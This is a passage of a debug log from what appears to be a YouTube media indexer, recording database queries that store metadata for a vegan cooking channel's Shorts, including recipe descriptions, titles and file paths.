s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.879 [debug] QUERY OK source="media_items" db=2.4ms idle=7.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-02-15 22:30:31Z], 1] 20:31:09.881 [debug] QUERY OK source="media_items" db=1.4ms idle=7.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["What I eat in a day ✨ Valentine’s day edition 💋 How I eat whole foods, plant based and gluten free with EASE 💕\n\nGood eats from morning til night! ☀️ 🌙 💕\nBreakfast = banana pancakes 🥞/ blueberry 🫐 compote \nLunch = EPIC focaccia (GF)/sweet potato 🍠 tomato 🍅 basil 🌿 soup \nDinner = creamy spinach artichoke mushroom 🍄 Alfredo \nDessert = sweet potato 🍠 brownies!\n\nAll recipes and ingredients in my latest YouTube ‘what I eat in a day’ vid ✨\nhttps://youtu.be/8dUducBJ6Cc\n\n#whatieatinaday #whatieatinadayvegan #whatieattoloseweight #valentinesday #wfpbrecipes #wfpb #steamyvegankitchen #steamyvegan", "VEGAN What I Eat In A Day 💕🌱 Valentine’s day edition #shorts #youtubeshorts", "a419290e-98dd-4be8-b318-5b6caab7b625", 1, [], 59, false, "iKgvBdncoMA", "https://www.youtube.com/shorts/iKgvBdncoMA", 188, "/downloads/downloads/alec/Steamy Vegan/2023-02-15 VEGAN What I Eat In A Day 💕🌱 Valentine’s day edition #shorts #youtubeshorts/VEGAN What I Eat In A Day 💕🌱 Valentine’s day edition #shorts #youtubeshorts [iKgvBdncoMA].NA", false, false, true, 1, ~U[2023-02-15 22:30:31Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "What I eat in a day ✨ Valentine’s day edition 💋 How I eat whole foods, plant based and gluten free with EASE 💕\n\nGood eats from morning til night! ☀️ 🌙 💕\nBreakfast = banana pancakes 🥞/ blueberry 🫐 compote \nLunch = EPIC focaccia (GF)/sweet potato 🍠 tomato 🍅 basil 🌿 soup \nDinner = creamy spinach artichoke mushroom 🍄 Alfredo \nDessert = sweet potato 🍠 brownies!\n\nAll recipes and ingredients in my latest YouTube ‘what I eat in a day’ vid ✨\nhttps://youtu.be/8dUducBJ6Cc\n\n#whatieatinaday #whatieatinadayvegan #whatieattoloseweight #valentinesday #wfpbrecipes #wfpb #steamyvegankitchen #steamyvegan", "VEGAN What I Eat In A Day 💕🌱 Valentine’s day edition #shorts #youtubeshorts", 1, 59, false, "iKgvBdncoMA", "https://www.youtube.com/shorts/iKgvBdncoMA", "/downloads/downloads/alec/Steamy Vegan/2023-02-15 VEGAN What I Eat In A Day 💕🌱 Valentine’s day edition #shorts #youtubeshorts/VEGAN What I Eat In A Day 💕🌱 Valentine’s day edition #shorts #youtubeshorts [iKgvBdncoMA].NA", true, ~U[2023-02-15 22:30:31Z]] 20:31:09.882 [debug] QUERY OK source="sources" db=0.9ms idle=7.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.885 [debug] QUERY OK source="media_items" db=1.8ms idle=7.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-02-03 17:03:11Z], 1] 20:31:09.887 [debug] QUERY OK source="media_items" db=1.2ms idle=8.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["SMASHED CHICKPEA AND AVOCADO TOAST 🥑🍠\n1 can chickpeas, drained and rinsed\n1 small avocado\nJuice of 1/2 a lemon\n3 tbsp nutritional yeast\n3/4 tsp garlic powder\n1 tsp paprika (sweet, hot, or smoked)\nSalt and pepper to taste\n\n1. In a large bowl, add the rinsed chickpeas and mash until desired texture with a fork or potato masher.\n2. Add the avocado and continue mashing until the two are combined.\n3. Add all remaining ingredients to the bowl and mix well with a fork until it’s a uniform mash. Adjust seasonings to taste.\n4. Add a few dollops of the mash onto your sweet potato toast, top with sliced tomato and salt and pepper and enjoy!\n\nSee how I meal prep sweet potato toast here ➡️ https://youtu.be/_IS3CDabzNY\n\n\nMusic by Citrus Avenue - Quietly the Cat - https://thmatc.co/?l=1DB82C4D", "SMASHED CHICKPEA AND AVOCADO TOAST 🥑🍠", "ecd225d3-cd23-472a-9941-d388052fe89a", 1, [], 42, false, "ts0VhJ3sWd4", "https://www.youtube.com/shorts/ts0VhJ3sWd4", 189, "/downloads/downloads/alec/Steamy Vegan/2023-02-03 SMASHED CHICKPEA AND AVOCADO TOAST 🥑🍠/SMASHED CHICKPEA AND AVOCADO TOAST 🥑🍠 [ts0VhJ3sWd4].NA", false, false, true, 1, ~U[2023-02-03 17:03:11Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "SMASHED CHICKPEA AND AVOCADO TOAST 🥑🍠\n1 can chickpeas, drained and rinsed\n1 small avocado\nJuice of 1/2 a lemon\n3 tbsp nutritional yeast\n3/4 tsp garlic powder\n1 tsp paprika (sweet, hot, or smoked)\nSalt and pepper to taste\n\n1. In a large bowl, add the rinsed chickpeas and mash until desired texture with a fork or potato masher.\n2. Add the avocado and continue mashing until the two are combined.\n3. Add all remaining ingredients to the bowl and mix well with a fork until it’s a uniform mash. Adjust seasonings to taste.\n4. Add a few dollops of the mash onto your sweet potato toast, top with sliced tomato and salt and pepper and enjoy!\n\nSee how I meal prep sweet potato toast here ➡️ https://youtu.be/_IS3CDabzNY\n\n\nMusic by Citrus Avenue - Quietly the Cat - https://thmatc.co/?l=1DB82C4D", "SMASHED CHICKPEA AND AVOCADO TOAST 🥑🍠", 1, 42, false, "ts0VhJ3sWd4", "https://www.youtube.com/shorts/ts0VhJ3sWd4", "/downloads/downloads/alec/Steamy Vegan/2023-02-03 SMASHED CHICKPEA AND AVOCADO TOAST 🥑🍠/SMASHED CHICKPEA AND AVOCADO TOAST 🥑🍠 [ts0VhJ3sWd4].NA", true, ~U[2023-02-03 17:03:11Z]] 20:31:09.887 [debug] QUERY OK source="sources" db=0.5ms idle=7.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.890 [debug] QUERY OK source="media_items" db=2.9ms idle=6.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-02-01 00:09:16Z], 1] 20:31:09.892 [debug] QUERY OK source="media_items" db=1.1ms idle=8.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["✨ Make breakfast with me / SWEET POTATO TOAST style 🍠 cause bread sometimes just doesn’t cut it 🍞\n\nCheck out my full how-to video with 3 delicious recipes HERE: https://youtu.be/_IS3CDabzNY\n\nOVEN METHOD \nPreheat oven to 425F — line a baking tray with parchment — slice a large yam into about 1/3” slices on a DIAGONAL so you get larger, longer pieces — arrange slices on baking tray and poke holes with a fork along each side — bake for 30 mins total, flipping over halfway \n\nTOASTER/TOASTER OVEN METHOD\nTake yam slices and pop them directly into the toaster/ toaster oven and toast on the highest setting 2 to 3 times, until the edges are golden and you can poke a fork through the centre \n\nUse your sweet potato toasts as you would regular bread! Top with your favourite toast toppings and spreads and enjoy 😉 Sweet potatoes 🍠 will keep you fuller for longer, are chock full of nutrients and taste DELISH as toast. Try it out yourself and let me know how it goes! 👇🏻 \n\n#plantbasedbreakfastideas #steamyvegankitchen #veganbreakfastrecipes #sweetpotatotoast \nMusic by Mark Generous - Lanikai - https://thmatc.co/?l=B31B0D7E", "Make breakfast with me 😌 Sweet potato toast style 🍠 #shorts", "076bfd5c-c4fc-4130-b1bc-ee2f6556edfb", 1, [], 40, false, "QJDjBcFUKuU", "https://www.youtube.com/shorts/QJDjBcFUKuU", 190, "/downloads/downloads/alec/Steamy Vegan/2023-02-01 Make breakfast with me 😌 Sweet potato toast style 🍠 #shorts/Make breakfast with me 😌 Sweet potato toast style 🍠 #shorts [QJDjBcFUKuU].NA", false, false, true, 1, ~U[2023-02-01 00:09:16Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "✨ Make breakfast with me / SWEET POTATO TOAST style 🍠 cause bread sometimes just doesn’t cut it 🍞\n\nCheck out my full how-to video with 3 delicious recipes HERE: https://youtu.be/_IS3CDabzNY\n\nOVEN METHOD \nPreheat oven to 425F — line a baking tray with parchment — slice a large yam into about 1/3” slices on a DIAGONAL so you get larger, longer pieces — arrange slices on baking tray and poke holes with a fork along each side — bake for 30 mins total, flipping over halfway \n\nTOASTER/TOASTER OVEN METHOD\nTake yam slices and pop them directly into the toaster/ toaster oven and toast on the highest setting 2 to 3 times, until the edges are golden and you can poke a fork through the centre \n\nUse your sweet potato toasts as you would regular bread! Top with your favourite toast toppings and spreads and enjoy 😉 Sweet potatoes 🍠 will keep you fuller for longer, are chock full of nutrients and taste DELISH as toast. Try it out yourself and let me know how it goes! 👇🏻 \n\n#plantbasedbreakfastideas #steamyvegankitchen #veganbreakfastrecipes #sweetpotatotoast \nMusic by Mark Generous - Lanikai - https://thmatc.co/?l=B31B0D7E", "Make breakfast with me 😌 Sweet potato toast style 🍠 #shorts", 1, 40, false, "QJDjBcFUKuU", "https://www.youtube.com/shorts/QJDjBcFUKuU", "/downloads/downloads/alec/Steamy Vegan/2023-02-01 Make breakfast with me 😌 Sweet potato toast style 🍠 #shorts/Make breakfast with me 😌 Sweet potato toast style 🍠 #shorts [QJDjBcFUKuU].NA", true, ~U[2023-02-01 00:09:16Z]] 20:31:09.893 [debug] QUERY OK source="sources" db=0.4ms idle=7.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.895 [debug] QUERY OK source="media_items" db=1.8ms idle=6.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-01-19 17:19:02Z], 1] 20:31:09.896 [debug] QUERY OK source="media_items" db=1.2ms idle=7.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["🥱 Lazy Vegan Shakshuka! 🍅 What I eat when I’m TIRED & LAZY— It’s goooood y’all.\n\nI’m still getting over the post-Covid fatigue and haven’t had tons of energy to cook these days, so having simple and quick meals ideas \nat my fingertips has been a LIFE. SAVER! 🥲\n\nLAZY VEGAN SHAKSHUKA 🍅 \n1 block extra firm tofu (@sunrisesoyafoods )\n1/2 tsp black salt / kala namak\n1/2 tsp turmeric \n1 jar Shakshuka cooking sauce @preschoice\n1 Roma tomato 🍅 chopped \n 1 tbsp sesame oil \n\nHeat your pan on medium-high heat and warm the oil — crumble the tofu into the pan and add the black salt (essential for that eggy flavour!) and turmeric, stir to thoroughly combine — let cook for 5 minutes, add plant milk and breaking apart large pieces as needed — add the shakshuka sauce and chopped tomato, stir and let simmer for 7 minutes or until hot and steamy — serve over leftover rice 🍚 garnish with cilantro and EAT UP! Healthy, easy and comforting AF 🤤\n\nSAVE THIS RECIPE FOR TONIGHT! ✔️ and follow @steamyvegankitchen for more recipes! \n\n#steamyvegankitchen #steamyvegan #preschoice #superstore #realcanadiansuperstore #healthyeatsliving #lazyveganfood #shakshuka #shakshouka #veganshakshuka #tofurecipe #plantbasedvancouver #yvrbloggers #yvrblogger #eatwellbewell #veganproteins #easyveganfood #lazyvegan #cheapvegan #cheapveganmeals #vegansharefood", "One of my fave ways to eat tofu 🍅 what I eat when I’m tired 🥱", "fcb24fff-a9da-4931-8c44-111781b36bd5", 1, [], 33, false, "722buTy1m1U", "https://www.youtube.com/shorts/722buTy1m1U", 191, "/downloads/downloads/alec/Steamy Vegan/2023-01-19 One of my fave ways to eat tofu 🍅 what I eat when I’m tired 🥱/One of my fave ways to eat tofu 🍅 what I eat when I’m tired 🥱 [722buTy1m1U].NA", false, false, true, 1, ~U[2023-01-19 17:19:02Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "🥱 Lazy Vegan Shakshuka! 🍅 What I eat when I’m TIRED & LAZY— It’s goooood y’all.\n\nI’m still getting over the post-Covid fatigue and haven’t had tons of energy to cook these days, so having simple and quick meals ideas \nat my fingertips has been a LIFE. SAVER! 🥲\n\nLAZY VEGAN SHAKSHUKA 🍅 \n1 block extra firm tofu (@sunrisesoyafoods )\n1/2 tsp black salt / kala namak\n1/2 tsp turmeric \n1 jar Shakshuka cooking sauce @preschoice\n1 Roma tomato 🍅 chopped \n 1 tbsp sesame oil \n\nHeat your pan on medium-high heat and warm the oil — crumble the tofu into the pan and add the black salt (essential for that eggy flavour!) and turmeric, stir to thoroughly combine — let cook for 5 minutes, add plant milk and breaking apart large pieces as needed — add the shakshuka sauce and chopped tomato, stir and let simmer for 7 minutes or until hot and steamy — serve over leftover rice 🍚 garnish with cilantro and EAT UP! Healthy, easy and comforting AF 🤤\n\nSAVE THIS RECIPE FOR TONIGHT! ✔️ and follow @steamyvegankitchen for more recipes! \n\n#steamyvegankitchen #steamyvegan #preschoice #superstore #realcanadiansuperstore #healthyeatsliving #lazyveganfood #shakshuka #shakshouka #veganshakshuka #tofurecipe #plantbasedvancouver #yvrbloggers #yvrblogger #eatwellbewell #veganproteins #easyveganfood #lazyvegan #cheapvegan #cheapveganmeals #vegansharefood", "One of my fave ways to eat tofu 🍅 what I eat when I’m tired 🥱", 1, 33, false, "722buTy1m1U", "https://www.youtube.com/shorts/722buTy1m1U", "/downloads/downloads/alec/Steamy Vegan/2023-01-19 One of my fave ways to eat tofu 🍅 what I eat when I’m tired 🥱/One of my fave ways to eat tofu 🍅 what I eat when I’m tired 🥱 [722buTy1m1U].NA", true, ~U[2023-01-19 17:19:02Z]] 20:31:09.897 [debug] QUERY OK source="sources" db=0.4ms idle=5.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.899 [debug] QUERY OK source="media_items" db=1.9ms idle=4.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-01-15 01:42:47Z], 1] 20:31:09.901 [debug] QUERY OK source="media_items" db=0.7ms idle=7.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["HOW TO MAKE DATE SYRUP AND DATE PASTE (full recipe + instructions): https://youtu.be/WoHI7Y7JhQs", "Healthy sugar replacement? 🤔 Make DATE SYRUP your new kitchen bestie", "1914f64a-19bf-4715-8911-1c9433bfb3ff", 1, [], 20, false, "yppTUvHFLkg", "https://www.youtube.com/shorts/yppTUvHFLkg", 192, "/downloads/downloads/alec/Steamy Vegan/2023-01-15 Healthy sugar replacement? 🤔 Make DATE SYRUP your new kitchen bestie/Healthy sugar replacement? 🤔 Make DATE SYRUP your new kitchen bestie [yppTUvHFLkg].NA", false, false, true, 1, ~U[2023-01-15 01:42:47Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "HOW TO MAKE DATE SYRUP AND DATE PASTE (full recipe + instructions): https://youtu.be/WoHI7Y7JhQs", "Healthy sugar replacement? 🤔 Make DATE SYRUP your new kitchen bestie", 1, 20, false, "yppTUvHFLkg", "https://www.youtube.com/shorts/yppTUvHFLkg", "/downloads/downloads/alec/Steamy Vegan/2023-01-15 Healthy sugar replacement? 🤔 Make DATE SYRUP your new kitchen bestie/Healthy sugar replacement? 🤔 Make DATE SYRUP your new kitchen bestie [yppTUvHFLkg].NA", true, ~U[2023-01-15 01:42:47Z]] 20:31:09.902 [debug] QUERY OK source="sources" db=0.8ms idle=6.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.904 [debug] QUERY OK source="media_items" db=2.0ms idle=5.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-12-22 18:24:26Z], 1] 20:31:09.905 [debug] QUERY OK source="media_items" db=0.7ms idle=7.7ms INSERT INTO "media_items" AS m0 ("title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Really hot spicy pepper taste test reactions 🥵🔥😱 #shorts", "118898af-07a4-450a-9720-27f259e61df7", 1, [], 18, false, "65QRtpMUpVo", "https://www.youtube.com/shorts/65QRtpMUpVo", 193, "/downloads/downloads/alec/Steamy Vegan/2022-12-22 Really hot spicy pepper taste test reactions 🥵🔥😱 #shorts/Really hot spicy pepper taste test reactions 🥵🔥😱 #shorts [65QRtpMUpVo].NA", false, false, true, 1, ~U[2022-12-22 18:24:26Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "", "Really hot spicy pepper taste test reactions 🥵🔥😱 #shorts", 1, 18, false, "65QRtpMUpVo", "https://www.youtube.com/shorts/65QRtpMUpVo", "/downloads/downloads/alec/Steamy Vegan/2022-12-22 Really hot spicy pepper taste test reactions 🥵🔥😱 #shorts/Really hot spicy pepper taste test reactions 🥵🔥😱 #shorts [65QRtpMUpVo].NA", true, ~U[2022-12-22 18:24:26Z]] 20:31:09.906 [debug] QUERY OK source="sources" db=0.6ms idle=6.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.909 [debug] QUERY OK source="media_items" db=2.1ms idle=5.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-12-20 20:33:16Z], 1] 20:31:09.911 [debug] QUERY OK source="media_items" db=0.8ms idle=7.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In this funny parody sketch we discuss how to lose your Canadian citizenship. Check out the full 12 minute episode live on the channel by subscribing!", "How to Lose Your Canadian Citizenship - True or False? 🤔🇨🇦❤️ #shorts #youtubeshorts", "3cbe529b-83b9-4f0b-8ff5-358056893a1b", 1, [], 15, false, "bc4Qb2G1K9o", "https://www.youtube.com/shorts/bc4Qb2G1K9o", 194, "/downloads/downloads/alec/Steamy Vegan/2022-12-20 How to Lose Your Canadian Citizenship - True or False? 🤔🇨🇦❤️ #shorts #youtubeshorts/How to Lose Your Canadian Citizenship - True or False? 🤔🇨🇦❤️ #shorts #youtubeshorts [bc4Qb2G1K9o].NA", false, false, true, 2, ~U[2022-12-20 20:33:16Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "In this funny parody sketch we discuss how to lose your Canadian citizenship. Check out the full 12 minute episode live on the channel by subscribing!", "How to Lose Your Canadian Citizenship - True or False? 🤔🇨🇦❤️ #shorts #youtubeshorts", 1, 15, false, "bc4Qb2G1K9o", "https://www.youtube.com/shorts/bc4Qb2G1K9o", "/downloads/downloads/alec/Steamy Vegan/2022-12-20 How to Lose Your Canadian Citizenship - True or False? 🤔🇨🇦❤️ #shorts #youtubeshorts/How to Lose Your Canadian Citizenship - True or False? 🤔🇨🇦❤️ #shorts #youtubeshorts [bc4Qb2G1K9o].NA", true, ~U[2022-12-20 20:33:16Z]] 20:31:09.912 [debug] QUERY OK source="sources" db=0.7ms idle=7.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.915 [debug] QUERY OK source="media_items" db=2.2ms idle=6.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-12-20 17:57:48Z], 1] 20:31:09.917 [debug] QUERY OK source="media_items" db=1.7ms idle=8.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["I made this bomb #oilfree chimichurri sauce with rescued produce from my fave @pekoproduce! 🥬 Chimichurri is the *perfect* everything sauce ‘cause you can put it on practically anything! 🌿 Plus its a great way to use up that boatload of fresh parsley that’s waiting to die 💀 in your fridge. \n\n1 packed cup fresh parsley (rescued!)\n1/2 packed cup fresh cilantro\n1 avocado\n2 small green chillies (rescued!)\nJuice of 1/2 lemon (rescued!) \n2-4 cloves garlic, peeled\n1/2 cup diced green onion (rescued!)\n1 tsp dried oregano\n1 tsp smoked paprika\n1/2 tsp salt\n1/4 cup red wine vinegar\n\nAdd all the ingredients, except the lemon juice and the vinegar to your food processor. Process until finely chopped.\nThen transfer the herbs to a bowl or jar and pour in the lime juice and vinegar. Mix well and let rest for 1 hour to blend the flavours. Serve with your favourite grilled foods, use as a dip, spread or condiment! \n\n✅ FOOD SAVING TIP: Save the herb stems and freeze them to make flavourful homemade veggie broth! 🍲 \n\nUse promo code STEAMYVEGANKITCHEN10 at checkout on your first order from @pekoproduce! www.pekoproduce.com OR click that link in my bio, frenzzzz 🍊\n\n#steamyvegankitchen #steamyvegan #pekoproduce #grocerydelivery #cookinghealthy #eatwholefoods #eatwellbewell #sustainablefood #sustainablegroceries #sustainablelife #sustainableshopping #reducewaste #zerowaste #lovefoodhatewaste #thriftymeals #thriftycooking #cheapvegan #whatscooking #vancityvegan #vancityvegans #vancity #yvrvegan #easyveganmeals #lowwaste #lowwasteliving #lowwastecooking #lowwastekitchen #sustainablecook #sustainablecooking", "You’ll want to put this sauce on EVERYTHING! Easy Chimichurri Sauce 🌿 #youtubeshorts #shorts", "9fb06862-3d71-4af5-a7b4-4ac2d55160e2", 1, [], 15, false, "CAm1OTLuvjU", "https://www.youtube.com/shorts/CAm1OTLuvjU", 195, "/downloads/downloads/alec/Steamy Vegan/2022-12-20 You’ll want to put this sauce on EVERYTHING! Easy Chimichurri Sauce 🌿 #youtubeshorts #shorts/You’ll want to put this sauce on EVERYTHING! Easy Chimichurri Sauce 🌿 #youtubeshorts #shorts [CAm1OTLuvjU].NA", false, false, true, 2, 